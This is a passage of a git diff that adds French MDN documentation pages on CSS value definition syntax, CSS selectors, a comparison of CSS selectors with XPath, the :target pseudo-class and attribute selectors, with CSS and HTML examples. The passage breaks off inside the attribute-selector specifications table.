+ <li><code>smaller</code> car <code>bold</code> est juxtaposé et doit apparaitre avant <code>smaller</code>.</li>
+</ul>
+
+<h3 id="Le_point_d'interrogation_()">Le point d'interrogation (<code>?</code>)</h3>
+
+<p>Le point d'interrogation indique que l'entité est optionnelle et doit apparaître<strong> zéro ou une fois</strong>.</p>
+
+<pre class="syntaxbox">bold smaller?</pre>
+
+<p>Cet exemple pourra illustrer les valeurs suivantes :</p>
+
+<ul>
+ <li><code>bold</code></li>
+ <li><code>bold smaller</code></li>
+</ul>
+
+<p>Mais il ne correspondra pas à :</p>
+
+<ul>
+ <li><code>bold smaller smaller</code> car <code>smaller</code> doit apparaître au plus une fois</li>
+ <li><code>smaller</code> car <code>bold</code> est juxtaposé et doit apparaître avant le mot-clé <code>smaller</code> s'il est présent.</li>
+</ul>
+
+<h3 id="Les_accolades_(_)">Les accolades (<code>{ }</code>)</h3>
+
+<p>Les accolades encadrent deux entiers A et B, séparés par une virgule et indiquent que l'entité <strong>doit apparaître au moins A fois et au plus B fois</strong>.</p>
+
+<pre class="syntaxbox">bold smaller{1,3}</pre>
+
+<p>Cet exemple pourra illustrer les valeurs suivantes :</p>
+
+<ul>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller smaller</code></li>
+ <li><code>bold smaller smaller smaller</code></li>
+</ul>
+
+<p>Mais il ne correspondra pas à :</p>
+
+<ul>
+ <li><code>bold</code> car <code>smaller</code> doit apparaître au moins une fois.</li>
+ <li><code>bold smaller smaller smaller smaller</code> car <code>smaller</code> doit apparaître au plus trois fois.</li>
+ <li><code>smaller</code> car <code>bold</code> est juxtaposé et doit apparaître avant le mot-clé <code>smaller</code>.</li>
+</ul>
+
+<h3 id="Dièse_()">Dièse (<code>#</code>)</h3>
+
+<p>Le symbole dièse indique qu'une entité doit être répétée <strong>une ou plusieurs fois et que chaque occurrence est séparée par une virgule</strong>.</p>
+
+<pre class="syntaxbox">bold smaller#</pre>
+
+<p>Cet exemple pourra illustrer les valeurs suivantes :</p>
+
+<ul>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller, smaller</code></li>
+ <li><code>bold smaller, smaller, smaller</code> and so on.</li>
+</ul>
+
+<p>Mais il ne correspondra pas à :</p>
+
+<ul>
+ <li><code>bold</code> car <code>smaller</code> doit apparaître au moins une fois.</li>
+ <li><code>bold smaller smaller smaller</code> car les différentes occurrences de <code>smaller</code> doivent être séparées par des virgules.</li>
+ <li><code>smaller</code> car <code>bold</code> est juxtaposé et doit apparaître avant toute occurrence du mot-clé <code>smaller</code>.</li>
+</ul>
+
+<h3 id="Point_d'exclamation_(!)">Point d'exclamation (<code>!</code>)</h3>
+
+<p>Le multiplicateur <em>point d'exclamation</em> est utilisé après un groupe pour indiquer que celui-ci ne doit produire qu'une seule valeur. Ici, même si la grammaire des éléments du groupe indiquent que tous les composants peuvent être absents, il faut qu'il y ait au moins un composant présent.</p>
+
+<pre class="syntaxbox">[ bold? smaller? ]!
+</pre>
+
+<p>Cet exemple correspondra aux valeurs suivantes :</p>
+
+<ul>
+ <li><code>bold</code></li>
+ <li><code>smaller</code></li>
+ <li><code>bold smaller</code></li>
+</ul>
+
+<p>Mais pas à :</p>
+
+<ul>
+ <li>ni <code>bold</code> ni <code>smaller</code>, car il faut au moins l'un des deux.</li>
+ <li><code>smaller bold</code>, car <code>bold</code> est juxtaposé et doit apparaître avant le mot-clé <code>smaller</code>.</li>
+ <li><code>bold smaller bold</code>, car <code>bold</code> et <code>smaller</code> doivent apparaître au plus une fois.</li>
+</ul>
+
+<h2 id="Récapitulatif">Récapitulatif</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Signe</th>
+   <th scope="col">Nom</th>
+   <th scope="col">Description</th>
+   <th scope="col">Exemple</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4">Combinateurs</th>
+  </tr>
+  <tr>
+   <td> </td>
+   <td>Juxtaposition</td>
+   <td>Les composants sont obligatoires et doivent apparaître dans cet ordre.</td>
+   <td><code>solid &lt;length&gt;</code></td>
+  </tr>
+  <tr>
+   <td><code>&amp;&amp;</code></td>
+   <td>Double esperluette</td>
+   <td>Les composants sont obligatoires mais peuvent apparaître dans n'importe quel ordre.</td>
+   <td><code>&lt;length&gt; &amp;&amp; &lt;string&gt;</code></td>
+  </tr>
+  <tr>
+   <td><code>||</code></td>
+   <td>Double barre</td>
+   <td>Au moins un des composants doit être présent et ils peuvent apparaître dans n'importe quel ordre.</td>
+   <td><code>&lt;'border-image-outset'&gt; || &lt;'border-image-slice'&gt;</code></td>
+  </tr>
+  <tr>
+   <td><code>|</code></td>
+   <td>Barre simple</td>
+   <td>Un et un seul des composants doit être présent.</td>
+   <td><code>smaller | small | normal | big | bigger</code></td>
+  </tr>
+  <tr>
+   <td><code>[ ]</code></td>
+   <td>Crochets</td>
+   <td>Les composants peuvent être groupés pour avoir une priorité supérieure aux règles précédentes.</td>
+   <td><code>bold [ thin &amp;&amp; &lt;length&gt; ]</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Multiplicateurs</th>
+  </tr>
+  <tr>
+   <td> </td>
+   <td>Aucun multiplicateur</td>
+   <td>Exactement 1 fois.</td>
+   <td><code>solid</code></td>
+  </tr>
+  <tr>
+   <td><code>*</code></td>
+   <td>Astérisque</td>
+   <td>0 ou plus.</td>
+   <td><code>bold smaller*</code></td>
+  </tr>
+  <tr>
+   <td><code>+</code></td>
+   <td>Signe plus</td>
+   <td>1 ou plus.</td>
+   <td><code>bold smaller+</code></td>
+  </tr>
+  <tr>
+   <td><code>?</code></td>
+   <td>Point d'interrogation</td>
+   <td>0 ou 1 fois (autrement dit, la valeur est optionnelle<em>)</em></td>
+   <td><code>bold smaller?</code></td>
+  </tr>
+  <tr>
+   <td><code>{A,B}</code></td>
+   <td>Accolades</td>
+   <td>Au moins <code>A</code> fois et au plus <code>B</code> fois.</td>
+   <td><code>bold smaller{1,3}</code></td>
+  </tr>
+  <tr>
+   <td><code>#</code></td>
+   <td>Dièse</td>
+   <td>1 ou plus de fois mais chaque occurrence doit être séparée d'une autre par une virgule.</td>
+   <td><code>bold smaller#</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Values", "#value-defs", "Value definition syntax")}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Ajout du multiplicateur avec le dièse.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "about.html#value-defs", "Value definition syntax")}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Ajout de la double esperluette.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1", "#notation-for-property-values", "Value definition syntax")}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/sélecteurs_css/comparison_with_xpath/index.html b/files/fr/web/css/sélecteurs_css/comparison_with_xpath/index.html
new file mode 100644
index 0000000000..2a35cb5611
--- /dev/null
+++ b/files/fr/web/css/sélecteurs_css/comparison_with_xpath/index.html
@@ -0,0 +1,49 @@
+---
+title: Comparison entre les sélecteurs CSS et XPath
+slug: Web/CSS/Sélecteurs_CSS/Comparison_with_XPath
+tags:
+  - CSS
+  - Draft
+  - NeedsContent
+  - Reference
+  - XPath
+translation_of: Web/XPath/Comparison_with_CSS_selectors
+---
+<div>{{CSSRef("Selectors")}}{{QuickLinksWithSubpages("/fr/docs/Web/XPath")}}{{Draft}}</div>
+
+<p class="summary">Dans cet article, nous listerons les différences entre les sélecteurs CSS et les fonctionnalités XPath afin que les développeurs web puissent choisir l'outil le plus pertinent.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><a href="/fr/docs/Web/XPath">Fonctionnalité XPath</a></th>
+   <th scope="col"><a href="/fr/docs/Web/CSS/Sélecteurs_CSS">Équivalent CSS</a></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Axe <a href="/fr/docs/XPath/Axes/ancestor"><code>ancestor</code></a>, <a href="/fr/docs/XPath/Axes/parent"><code>parent</code></a> ou <a href="/fr/docs/XPath/Axes/preceding-sibling"><code>preceding-sibling</code></a></td>
+   <td>{{CSSxRef(":has",":has()")}} selector {{experimental_inline}}</td>
+  </tr>
+  <tr>
+   <td>Axe <a href="/fr/docs/XPath/Axes/attribute"><code>attribute</code></a></td>
+   <td><a href="/en-US/docs/Web/CSS/Attribute_selectors">Sélecteurs d'attribut</a></td>
+  </tr>
+  <tr>
+   <td>Axe <a href="/fr/docs/XPath/Axes/child"><code>child</code></a></td>
+   <td><a href="/fr/docs/Web/CSS/Sélecteurs_enfant">Sélecteurs d'enfant</a></td>
+  </tr>
+  <tr>
+   <td>Axe <a href="/fr/docs/XPath/Axes/descendant"><code>descendant</code></a></td>
+   <td><a href="/fr/docs/Web/CSS/Sélecteurs_descendant">Sélecteur de descendant</a></td>
+  </tr>
+  <tr>
+   <td>Axe <a href="/fr/docs/XPath/Axes/following-sibling"><code>following-sibling</code></a></td>
+   <td><a href="/fr/docs/Web/CSS/Sélecteurs_de_voisins_généraux">Sélecteur de voisin général</a> ou <a href="/fr/docs/Web/CSS/Sélecteur_de_voisin_direct">sélecteur de voisin direct</a></td>
+  </tr>
+  <tr>
+   <td>Axe <a href="/fr/docs/XPath/Axes/self"><code>self</code></a></td>
+   <td>Sélecteur {{CSSxRef(":scope")}} ou {{CSSxRef(":host")}}</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/sélecteurs_css/index.html b/files/fr/web/css/sélecteurs_css/index.html
new file mode 100644
index 0000000000..a9d6f91d81
--- /dev/null
+++ b/files/fr/web/css/sélecteurs_css/index.html
@@ -0,0 +1,114 @@
+---
+title: Sélecteurs CSS
+slug: Web/CSS/Sélecteurs_CSS
+tags:
+  - Aperçu
+  - CSS
+  - CSS Selectors
+  - Reference
+  - Sélecteur
+translation_of: Web/CSS/CSS_Selectors
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>Les sélecteurs</strong> définissent les éléments sur lesquelles s'applique un ensemble de règles CSS.</span></p>
+
+<h2 id="Les_sélecteurs_simples">Les sélecteurs simples</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Sélecteurs_de_type">Les sélecteurs de type</a></dt>
+ <dd>Ce sélecteur simple permet de cibler les éléments qui correspondent au nom indiqué.<br>
+ <strong>Syntaxe :</strong> <code><var>nomelement</var></code><br>
+ <strong>Exemple :</strong> <code>input</code> permettra de cibler n'importe quel élément {{HTMLElement('input')}}.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Sélecteurs_de_classe">Les sélecteurs de classe</a></dt>
+ <dd>Ce sélecteur simple permet de cibler les éléments en fonction de la valeur de leur attribut <code>class</code>.<br>
+ <strong>Syntaxe :</strong> <code>.<var>nomclasse</var></code><br>
+ <strong>Exemple :</strong> <code>.index</code> permettra de cibler n'importe quel élément qui possède la classe <code>index</code> (vraisemblablement définie avec un attribut <code>class="index"</code>).</dd>
+ <dt><a href="/fr/docs/Web/CSS/Sélecteurs_d_ID">Les sélecteurs d'identifiant</a></dt>
+ <dd>Ce sélecteur simple permet de cibler un élément d'un document en fonction de la valeur de son attribut <code>id</code>. Dans un document, il ne doit y avoir qu'un seul élément pour un identifiant donné.<br>
+ <strong>Syntaxe :</strong> <code>#<var>valeurid</var></code><br>
+ <strong>Exemple :</strong> <code>#toc</code> permettra de cibler l'élément qui possède l'identifiant <code>toc</code> (vraisemblablement défini avec un attribut <code>id="toc"</code>).</dd>
+ <dt><a href="/fr/docs/Web/CSS/Sélecteurs_universels">Le sélecteur universel</a></dt>
+ <dd>Ce sélecteur permet de cibler tous les nœuds d'un document. Il existe également une variante pour ne cibler qu'un seul espace de noms et une variante pour cibler tous les espaces de noms.<br>
+ <strong>Syntaxe :</strong> <code>*</code> <code>ns|*</code> <code>*|*</code><br>
+ <strong>Exemple :</strong> <code>*</code> permettra de cibler tous les éléments du document.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Sélecteurs_d_attribut">Les sélecteurs d'attribut</a></dt>
+ <dd>Ce sélecteur simple permet de cibler des éléments d'un document en fonction de la valeur d'un de leurs attributs.<br>
+ <strong>Syntaxe :</strong> <code>[attr]</code> <code>[attr=valeur]</code> <code>[attr~=valeur]</code> <code>[attr|=valeur] [attr^=valeur]</code> <code>[attr$=valeur]</code> <code>[attr*=valeur]</code><br>
+ <strong>Exemple :</strong> <code>[autoplay]</code> permettra de cibler tous les éléments qui possède l'attribut <code>autoplay</code> défini (quelle que soit sa valeur).</dd>
+</dl>
+
+<h2 id="Les_combinateurs">Les combinateurs</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Sélecteur_de_voisin_direct">Les sélecteurs de voisin direct</a></dt>
+ <dd>Le combinateur <code>'+'</code> permet de sélectionner les nœuds qui suivent immédiatement un élément donné.<br>
+ <strong>Syntaxe :</strong> <code><var>A</var> + <var>B</var></code><br>
+ <strong>Exemple :</strong> <code>div + p</code> permettra de cibler n'importe quel élément {{HTMLElement('p')}} qui suit immédiatement un élément {{HTMLElement('div')}}.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Sélecteurs_de_voisins_généraux">Les sélecteurs de voisins</a></dt>
+ <dd>Le combinateur <code>'~'</code> permet de sélectionner les nœuds qui suivent un élément et qui ont le même parent.<br>
+ <strong>Syntaxe :</strong> <code><var>A</var> ~ <var>B</var></code><br>
+ <strong>Exemple :</strong> <code>p ~ span</code> permettra de cibler les éléments {{HTMLElement('span')}} qui suivent (immédiatement ou non) un élément {{HTMLElement('p')}} et qui ont le même élément parent.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Sélecteurs_enfant">Les sélecteurs d'éléments fils</a></dt>
+ <dd>Le combinateur <code>'&gt;'</code> permet de sélectionner les nœuds qui sont des fils directs d'un élément donné.<br>
+ <strong>Syntaxe :</strong> <code><var>A</var> &gt; <var>B</var></code><br>
+ <strong>Exemple :</strong> <code>ul &gt; li</code> permettra de cibler tous les éléments {{HTMLElement('li')}} qui sont directement situés sous un élément {{HTMLElement('ul')}}.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Sélecteurs_descendant">Les sélecteurs d'éléments descendants</a></dt>
+ <dd>Le combinateur <code> </code> (espace) permet de sélectionner les nœuds qui sont des descendants (pas nécessairement des fils directs) d'un élément donné.<br>
+ <strong>Syntaxe :</strong> <code>A B</code><br>
+ <strong>Exemple :</strong> <code>div span</code> permettra de cibler n'importe quel élément {{HTMLElement('span')}} situé à l'intérieur d'un élément {{HTMLElement('div')}}.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Combinateur_colonne">Le combinateur de colonne</a>{{experimental_inline}}</dt>
+ <dd>Le combinateur <code>||</code> sélectionne les nœuds qui appartiennent à une colonne. <strong>Syntaxe :</strong> <code>A || B</code><br>
+ <strong>Exemple :</strong> <code>col || td</code> permettra de cibler n'importe quel élément {{HTMLElement('td')}} sous la portée d'une colonne {{HTMLElement('col')}}.</dd>
+</dl>
+
+<h2 id="Les_pseudo-classes">Les pseudo-classes</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Pseudo-classes">Les pseudo-classes</a> permettent de cibler des éléments selon une information d'état qui n'est pas stockée dans l'arbre du document.</dt>
+ <dd><strong>Exemple:</strong> <code>a:visited</code> permettra de cibler l'ensemble des éléments {{HTMLElement('a')}} (des liens) ayant déjà été visités par l'utilisateur.</dd>
+</dl>
+
+<h2 id="Les_pseudo-éléments">Les pseudo-éléments</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Pseudo-éléments">Les pseudo-éléments</a> représentent des entités du document qui ne sont pas décrites en HTML.</dt>
+ <dd><strong>Exemple :</strong> <code>p::first-line</code> permettra de cibler la première ligne de chacun des éléments {{HTMLElement('p')}} (les paragraphes) du document.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Ajout du combinateur de colonne (<code>||</code>), des sélecteurs structurels pour la  grille, des combinateurs logiques, des pseudo-classes pour la localisation, la temporisation, les états de ressources, les éléments linguistiques et les éléments relatifs à l'interface utilisateur. Ajout du modificateur de sensibilité à la casse pour les caractèes ASCII et du ciblage des attributs insensible à la casse.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Ajout du combinateur de voisin <code>~</code>. Les pseudo-éléments utilisent désormais un préfixe avec deux fois deux-points (<code>::</code>)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>
+    <p>Ajout des combinateurs pour les fils (<code>&gt;</code>) et voisins adjacents (<code>+</code>).<br>
+     Ajout du sélecteur universel et du sélecteur d'attribut.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/sélecteurs_css/utiliser_la_pseudo-classe__colon_target_dans_un_selecteur/index.html b/files/fr/web/css/sélecteurs_css/utiliser_la_pseudo-classe__colon_target_dans_un_selecteur/index.html
new file mode 100644
index 0000000000..8aeae8c255
--- /dev/null
+++ b/files/fr/web/css/sélecteurs_css/utiliser_la_pseudo-classe__colon_target_dans_un_selecteur/index.html
@@ -0,0 +1,63 @@
+---
+title: 'Utiliser la pseudo-classe :target dans un sélecteur'
+slug: 'Web/CSS/Sélecteurs_CSS/Utiliser_la_pseudo-classe_:target_dans_un_selecteur'
+tags:
+  - CSS
+  - Guide
+  - Intermédiaire
+translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors'
+---
+<div>{{CSSRef}}</div>
+
+<p>Afin d'aider à identifier la destination d'un lien qui mène vers une portion spécifique du document, les <a class="external" href="https://www.w3.org/TR/css3-selectors/#target-pseudo">sélecteurs CSS3</a> ont introduit <a href="/fr/docs/Web/CSS/Pseudo-classes">la pseudo-classe</a> {{cssxref(":target")}}.</p>
+
+<h2 id="Choisir_une_cible">Choisir une cible</h2>
+
+<p>La pseudo-classe {{cssxref(":target")}} permet de mettre en forme l'élément ciblé par le fragment d'identifiant de l'URL du document. Ainsi l'URL <code>https://developer.mozilla.org/fr/docs/Utiliser_la_pseudo-classe_:target_dans_un_selecteur#Exemple</code> contient le fragment d'identifiant <code>#Exemple</code>. En HTML, les identifiants correspondent aux valeurs des attributs <code>id</code> et <code>name</code>, puisque les deux partagent le même espace de nommage. Ainsi l'URL dans l'exemple devrait pointer vers le titre « Exemple » de ce document.</p>
+
+<p>Imaginons qu'on souhaite mettre en forme n'importe quel élément {{HTMLElement("h2")}} qui serait la cible de l'URL mais qu'on ne souhaite pas qu'un autre type d'élément ait un style particulier lorsqu'il est ciblé. On peut obtenir cet effet assez simplement :</p>
+
+<pre class="brush: css">h2:target {
+  font-weight: bold;
+}</pre>
+
+<p>On peut également créer des styles particuliers pour une portion spécifique du document. On peut ainsi utiliser la même valeur identifiant la cible que celle présente dans l'URL. Par exemple, pour ajouter une bordure au fragment <code>#Exemple</code>, on pourra écrire :</p>
+
+<pre class="brush: css">#Exemple:target {
+  border: 1px solid black;
+}</pre>
+
+<h2 id="Cibler_tous_les_éléments">Cibler tous les éléments</h2>
+
+<p>Si le but est de créer un style commun qui s'appliquera à tous les éléments lorsque ceux-ci seront ciblés, un sélecteur universel utilisant seulement la pseudo-classe s'avèrera très pratique :</p>
+
+<pre class="brush: css">:target {
+  color: red;
+}
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant, cinq liens pointent chacun vers une portion du même document. Actionner le lien « Premier », par exemple, fera en sorte que le<code> &lt;h1 id="un"&gt; </code>devienne l'élément cible. Notons que le document pourrait défiler vers une nouvelle position, jusqu'à la cible du lien.</p>
+
+<div id="exemple">
+<pre class="brush: html">&lt;h4 id="un"&gt;...&lt;/h4&gt; &lt;p id="deux"&gt;...&lt;/p&gt;
+&lt;div id="trois"&gt;...&lt;/div&gt; &lt;a id="quatre"&gt;...&lt;/a&gt; &lt;em id="cinq"&gt;...&lt;/em&gt;
+
+&lt;a href="#un"&gt;Premier&lt;/a&gt;
+&lt;a href="#deux"&gt;Deuxième&lt;/a&gt;
+&lt;a href="#trois"&gt;Troisième&lt;/a&gt;
+&lt;a href="#quatre"&gt;Quatrième&lt;/a&gt;
+&lt;a href="#cinq"&gt;Cinquième&lt;/a&gt;</pre>
+</div>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Les utilisateurs peuvent être gênés lorsqu'un fragment d'identifiant mène à une portion du document, ne sachant pas quelle partie du document ils sont supposés lire. En mettant en forme la cible d'une URI, on peut réduire (voire supprimer) cette confusion.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/TR/css3-selectors/#target-pseudo"><em>CSS3 Selectors #target-pseudo</em> (en anglais)</a></li>
+ <li>{{cssxref(":target")}}</li>
+</ul>
diff --git a/files/fr/web/css/sélecteurs_d_attribut/index.html b/files/fr/web/css/sélecteurs_d_attribut/index.html
new file mode 100644
index 0000000000..6c9e719345
--- /dev/null
+++ b/files/fr/web/css/sélecteurs_d_attribut/index.html
@@ -0,0 +1,243 @@
+---
+title: Sélecteurs d'attribut
+slug: Web/CSS/Sélecteurs_d_attribut
+tags:
+  - CSS
+  - Débutant
+  - Reference
+  - Sélecteur
+translation_of: Web/CSS/Attribute_selectors
+---
+<div>{{CSSRef}}</div>
+
+<p>Les sélecteurs d'attribut permettent de cibler un élément selon la présence d'un attribut ou selon la valeur donnée d'un attribut.</p>
+
+<pre class="brush: css no-line-numbers">/* Les éléments &lt;a&gt; avec un attribut title */
+a[title] {
+  color: purple;
+}
+
+/* Les éléments &lt;a&gt; avec un href qui correspond */
+/* à "https://example.org" */
+a[href="https://example.org"] {
+  color: green;
+}
+
+/* Les éléments &lt;a&gt; dont href contient "example" */
+a[href*="example"] {
+  font-size: 2em;
+}
+
+/* Les éléments &lt;a&gt; dont href finit par ".org" */
+a[href$=".org"] {
+  font-style: italic;
+}
+
+/* Les éléments &lt;a&gt; dont l'attribut class contient le mot logo */
+/* comportement identique à a.logo */
+a[class~="logo"] {
+  padding: 2px;
+}</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt><code>[<em>attr</em>]</code></dt>
+ <dd>Permet de cibler un élément qui possède un attribut <code>attr</code>.</dd>
+ <dt><code>[<em>attr</em>=<em>valeur</em>]</code></dt>
+ <dd>Permet de cibler un élément qui possède un attribut <code>attr</code> dont la valeur est exactement <code>valeur</code>.</dd>
+ <dt><code>[<em>attr</em>~=<em>valeur</em>]</code></dt>
+ <dd>Permet de cibler un élément qui possède un attribut <code>attr</code> dont la valeur est <code>valeur</code>. Cette forme permet de fournir une liste de valeurs, séparées par des blancs, à tester. Si au moins une de ces valeurs est égale à celle de l'attribut, l'élément sera ciblé.</dd>
+ <dt><code>[<em>attr</em>|=<em>valeur</em>]</code></dt>
+ <dd>Permet de cibler un élément qui possède un attribut <code>attr</code> dont la valeur est exactement <code>valeur</code> ou dont la valeur commence par <code>valeur</code> suivi immédiatement d'un tiret (U+002D). Cela peut notamment être utilisé pour effectuer des correspondances avec des codes de langues.</dd>
+ <dt><code>[<em>attr</em>^=<em>valeur</em>]</code></dt>
+ <dd>Permet de cibler un élément qui possède un attribut <code>attr</code> dont la valeur commence par <code>valeur</code>.</dd>
+ <dt><code>[<em>attr</em>$=<em>valeur</em>]</code></dt>
+ <dd>Permet de cibler un élément qui possède un attribut <code>attr</code> dont la valeur se termine par <code>valeur</code>.</dd>
+ <dt><code>[<em>attr</em>*=<em>valeur</em>]</code></dt>
+ <dd>Permet de cibler un élément qui possède un attribut <code>attr</code> et dont la valeur contient au moins une occurrence de <code>valeur</code> dans la chaîne de caractères.</dd>
+ <dt id="case-insensitive"><code>[<em>attr</em> <em>operateur</em> <em>valeur</em> i]</code></dt>
+ <dd>On peut ajouter un <code>i</code> (ou <code>I</code>) avant le crochet de fin. Dans ce cas, la casse ne sera pas prise en compte (pour les caractères contenus sur l'intervalle ASCII).</dd>
+ <dt><code>[attr operateur valeur s]</code> {{experimental_inline}}</dt>
+ <dd>Ajouter un <code>s</code> (ou <code>S</code>) avant le crochet fermant permettra d'effectuer une comparaison de valeur sensible à la casse (pour les caractères ASCII).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Liens">Liens</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">a {
+  color: blue;
+}
+
+/* Liens internes commençant avec "#" */
+a[href^="#"] {
+  background-color: gold;
+}
+
+/* Liens avec "example" n'importe où dans l'URL */
+a[href*="example"] {
+  background-color: silver;
+}
+
+/* Liens avec "insensitive" n'importe où dans l'URL,
+   quelle que soit la casse */
+a[href*="insensitive" i] {
+  color: cyan;
+}
+
+/* Liens avec "cAsE" n'importe où dans l'URL,
+   et avec cette casse donnée.*/
+a[href*="cAsE" s] {
+  color: pink;
+}
+
+/* Liens qui finissent ".org" */
+a[href$=".org"] {
+  color: red;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;a href="#internal"&gt;Lien interne&lt;a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="http://example.com"&gt;Lien d'exemple&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="#InSensitive"&gt;Lien interne insensible à la casse&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="http://example.org"&gt;Lien vers example.org&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Liens")}}</p>
+
+<h3 id="Langues">Langues</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">/* Tous les éléments divs avec un attribut `lang` seront en gras. */
+div[lang] {
+  font-weight: bold;
+}
+
+/* Tous les divs en anglais américains seront bleus. */
+div[lang~="en-us"] {
+  color: blue;
+}
+
+/* Tous les divs en portugais seront verts. */
+div[lang="pt"] {
+  color: green;
+}
+
+/* Tous les divs en chinois seront rouges (chinois
+   simplifié (zh-CN) ou traditionnel (zh-TW). */
+div[lang|="zh"] {
+  color: red;
+}
+
+/* Tous les divs en chinois traditionnels pour l'attribut
+   `data-lang` seront violet. */
+/* Note : Les doubles quotes ne sont pas strictement nécessaires
+   ici */
+div[data-lang="zh-TW"] {
+  color: purple;
+}
+</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div lang="en-us en-gb en-au en-nz"&gt;Hello World!&lt;/div&gt;
+&lt;div lang="pt"&gt;Olá Mundo!&lt;/div&gt;
+&lt;div lang="zh-CN"&gt;世界您好！&lt;/div&gt;
+&lt;div lang="zh-TW"&gt;世界您好！&lt;/div&gt;
+&lt;div data-lang="zh-TW"&gt;世界您好！&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Langues")}}</p>
+
+<h3 id="Listes_ordonnées">Listes ordonnées</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<p>La spécification HTML indique que l'attribut {{htmlattrxref("type", "input")}} doit être testé sans sensibilité à la casse car il est généralement utilisé avec l'élément {{HTMLElement("input")}}. Si on souhaite utiliser un sélecteur d'attribut avec {{htmlattrxref("type", "ol")}} d'une liste ordonnée ({{HTMLElement("ol")}}), cela ne fonctionnera pas sans le modificateur de sensibilité à la casse.</p>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">/* Les types de liste devront être utilisé avec le
+   marqueur pour la casse vu les spécifications HTML */
+ol[type="a"] {
+  list-style-type: lower-alpha;
+  background: red;
+}
+
+ol[type="a" s] {
+  list-style-type: lower-alpha;
+  background: lime;
+}
+
+ol[type="A" s] {
+  list-style-type: upper-alpha;
+  background: lime;
+}</pre>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html;">&lt;ol type="A"&gt;
+  &lt;li&gt;Liste d'exemple&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Listes_ordonnées")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#attribute-selectors', 'attribute selectors')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Ajout du modification pour la sélection des valeurs d'attribut ASCII insensible à la casse.</td>
